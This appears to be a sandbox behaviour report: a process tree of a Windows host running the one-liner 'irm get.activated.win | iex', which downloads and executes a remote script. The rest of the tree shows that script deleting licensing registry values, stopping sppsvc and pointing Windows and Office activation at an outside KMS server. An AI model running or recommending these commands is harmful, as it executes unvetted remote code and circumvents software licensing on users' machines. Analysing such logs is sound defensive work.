C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" irm get.activated.win | iex1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Windows\Temp\MAS_50450843.cmd" "2⤵
-
C:\Windows\System32\sc.exesc query Null3⤵
-
-
C:\Windows\System32\find.exefind /i "RUNNING"3⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "MAS_50450843.cmd"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ver3⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV23⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo prompt $E | cmd3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "4⤵
-
-
C:\Windows\System32\cmd.execmd4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "C:\Windows\Temp\MAS_50450843.cmd" "3⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"3⤵
-
-
C:\Windows\System32\fltMC.exefltmc3⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\Console /v QuickEdit3⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "0x0"3⤵
-
-
C:\Windows\System32\reg.exereg add HKCU\Console /v QuickEdit /t REG_DWORD /d "0" /f3⤵
-
-
C:\Windows\System32\cmd.execmd.exe /c ""C:\Windows\Temp\MAS_50450843.cmd" -qedit"3⤵
- Drops file in Program Files directory
-
C:\Windows\System32\reg.exereg add HKCU\Console /v QuickEdit /t REG_DWORD /d "1" /f4⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc query Null4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "MAS_50450843.cmd"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "-qedit" "4⤵
-
-
C:\Windows\System32\find.exefind /i "/"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ver4⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV24⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo prompt $E | cmd4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "5⤵
-
-
C:\Windows\System32\cmd.execmd5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "C:\Windows\Temp\MAS_50450843.cmd" "4⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"4⤵
-
-
C:\Windows\System32\fltMC.exefltmc4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\Console /v QuickEdit4⤵
- Modifies registry key
-
-
C:\Windows\System32\find.exefind /i "0x0"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ping -4 -n 1 updatecheck.massgrave.dev4⤵
-
C:\Windows\System32\PING.EXEping -4 -n 1 updatecheck.massgrave.dev5⤵
- Runs ping.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "127.69.2.6" "4⤵
-
-
C:\Windows\System32\find.exefind "127.69"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "127.69.2.6" "4⤵
-
-
C:\Windows\System32\find.exefind "127.69.2.6"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "-qedit" "4⤵
-
-
C:\Windows\System32\find.exefind /i "/S"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "-qedit" "4⤵
-
-
C:\Windows\System32\find.exefind /i "/"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop4⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop5⤵
-
-
-
C:\Windows\System32\mode.commode 76, 304⤵
-
-
C:\Windows\System32\choice.exechoice /C:123456780 /N4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ver4⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV24⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo prompt $E | cmd4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "5⤵
-
-
C:\Windows\System32\cmd.execmd5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE4⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE5⤵
-
-
-
C:\Windows\System32\wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value4⤵
-
-
C:\Windows\System32\find.exefind /i "ComputerSystem"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled4⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled4⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext /v MigrationToV5Done4⤵
-
-
C:\Windows\System32\find.exefind /i "0x1"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r ".*retail"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /v "project visio"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x2"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
- Modifies registry key
-
-
C:\Windows\System32\findstr.exefindstr /i /r ".*retail"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /v "project visio"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x3"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r ".*volume"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /v "project visio"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x2"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r ".*volume"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /v "project visio"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x3"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r "project.*"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x2"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r "project.*"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x3"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r "visio.*"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x2"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
- Modifies registry key
-
-
C:\Windows\System32\findstr.exefindstr /i /r "visio.*"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x3"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s4⤵
-
-
C:\Windows\System32\find.exefind /i "\Activation-Renewal"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "\Activation-Renewal \Online_KMS_Activation_Script-Renewal"4⤵
-
-
C:\Windows\System32\mode.commode con: cols=76 lines=304⤵
-
-
C:\Windows\System32\choice.exechoice /C:12345670 /N4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe" /f4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v DisableDnsPublishing4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v DisableKeyManagementServiceHostCaching4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\55c92734-d682-4d71-983e-d6ec3f16059f" /f4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /reg:324⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /reg:324⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /reg:324⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\55c92734-d682-4d71-983e-d6ec3f16059f" /f4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServiceName4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServicePort4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v DisableDnsPublishing4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v DisableKeyManagementServiceHostCaching4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\59a52881-a989-479d-af46-f275c6370663" /f4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\55c92734-d682-4d71-983e-d6ec3f16059f"4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value4⤵
-
-
C:\Windows\System32\find.exefind /i "ComputerSystem"4⤵
-
-
C:\Windows\System32\net.exenet use C:4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop4⤵
-
C:\Windows\System32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v UBR 2>nul4⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v UBR5⤵
-
-
-
C:\Windows\System32\mode.commode con cols=98 lines=314⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "&{$W=$Host.UI.RawUI.WindowSize;$B=$Host.UI.RawUI.BufferSize;$W.Height=31;$B.Height=300;$Host.UI.RawUI.WindowSize=$W;$Host.UI.RawUI.BufferSize=$B;}"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 1 kms.zhuxiaole.org4⤵
-
C:\Windows\System32\PING.EXEping -n 1 kms.zhuxiaole.org5⤵
- Runs ping.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ping -4 -n 1 kms-default.cangshui.net 2>nul4⤵
-
C:\Windows\System32\PING.EXEping -4 -n 1 kms-default.cangshui.net5⤵
- Runs ping.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c dir /b /ad C:\Windows\System32\spp\tokens\skus4⤵
-
-
C:\Windows\System32\sc.exesc query osppsvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sppsvc.exe"4⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\CurrentVersion\Software Protection Platform" /v NoGenTicket /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\System32\sc.exesc query sppsvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "STOPPED"4⤵
-
-
C:\Windows\System32\net.exenet stop sppsvc /y4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sppsvc /y5⤵
-
-
-
C:\Windows\System32\sc.exesc query sppsvc4⤵
-
-
C:\Windows\System32\find.exefind /i "STOPPED"4⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "185.213.174.199"4⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c REG QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" /f "Microsoft-Windows-*Edition~31bf3856ad364e35" /k 2>nul | FIND /I "CurrentVersion"4⤵
-
C:\Windows\System32\reg.exeREG QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" /f "Microsoft-Windows-*Edition~31bf3856ad364e35" /k5⤵
-
-
C:\Windows\System32\find.exeFIND /I "CurrentVersion"5⤵
-
-
-
C:\Windows\System32\reg.exeREG QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Microsoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.19041.1288" /v "CurrentState"4⤵
-
-
C:\Windows\System32\find.exeFIND /I "0x70"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ECHO Microsoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.19041.12884⤵
-
-
C:\Windows\System32\reg.exeREG QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Microsoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.19041.264" /v "CurrentState"4⤵
-
-
C:\Windows\System32\find.exeFIND /I "0x70"4⤵
-
-
C:\Windows\System32\net.exenet start sppsvc /y4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start sppsvc /y5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND PartialProductKey is not NULL) get LicenseFamily /value" 2>nul4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND PartialProductKey is not NULL) get LicenseFamily /value5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName 2>nul4⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName5⤵
-
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath4⤵
- Modifies registry key
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath" 2>nul4⤵
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath5⤵
-
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\15.0\ClickToRun /v InstallPath4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\14.0\CVH /f Click2run /k4⤵
- Modifies registry key
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\14.0\Common\InstallRoot /v Path" 2>nul4⤵
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\14.0\Common\InstallRoot /v Path5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\14.0\Common\InstallRoot /v Path" 2>nul4⤵
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\14.0\Common\InstallRoot /v Path5⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\15.0\Common\InstallRoot /v Path" 2>nul4⤵
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\15.0\Common\InstallRoot /v Path5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\15.0\Common\InstallRoot /v Path" 2>nul4⤵
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\15.0\Common\InstallRoot /v Path5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\16.0\Common\InstallRoot /v Path" 2>nul4⤵
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\16.0\Common\InstallRoot /v Path5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\16.0\Common\InstallRoot /v Path" 2>nul4⤵
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\16.0\Common\InstallRoot /v Path5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds4⤵
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds5⤵
-
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"MondoVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"ProPlusVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"ProjectProVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"VisioProVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"StandardVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"ProjectStdVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"VisioStdVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"AccessVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"SkypeforBusinessVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"OneNoteVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"ExcelVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"OutlookVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"PowerPointVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"PublisherVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"WordVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"ProjectProXVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"ProjectStdXVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"VisioProXVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"VisioStdXVolume" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"MondoRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"ProPlusRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"ProjectProRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"VisioProRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"StandardRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"ProjectStdRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"VisioStdRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"AccessRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"SkypeforBusinessRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"OneNoteRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"ExcelRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"OutlookRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"PowerPointRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"PublisherRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"WordRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"ProfessionalRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"HomeBusinessRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"HomeStudentRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"O365BusinessRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"O365SmallBusPremRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"O365HomePremRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /I /C:"O365EduCloudRetail" "C:\Windows\Temp\c2rchk.txt"4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds4⤵
- Modifies registry key
-
-
C:\Windows\System32\findstr.exefindstr 20194⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds4⤵
- Modifies registry key
-
-
C:\Windows\System32\findstr.exefindstr 20214⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (Description like '%KMSCLIENT%' ) get Name /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i Windows4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL) get Name /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i Windows4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL) get GracePeriodRemaining /value" 2>nul4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL) get GracePeriodRemaining /value5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path SoftwareLicensingService get Version /value"4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService get Version /value5⤵
-
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "185.213.174.199"4⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"4⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "185.213.174.199" /reg:324⤵
-
-
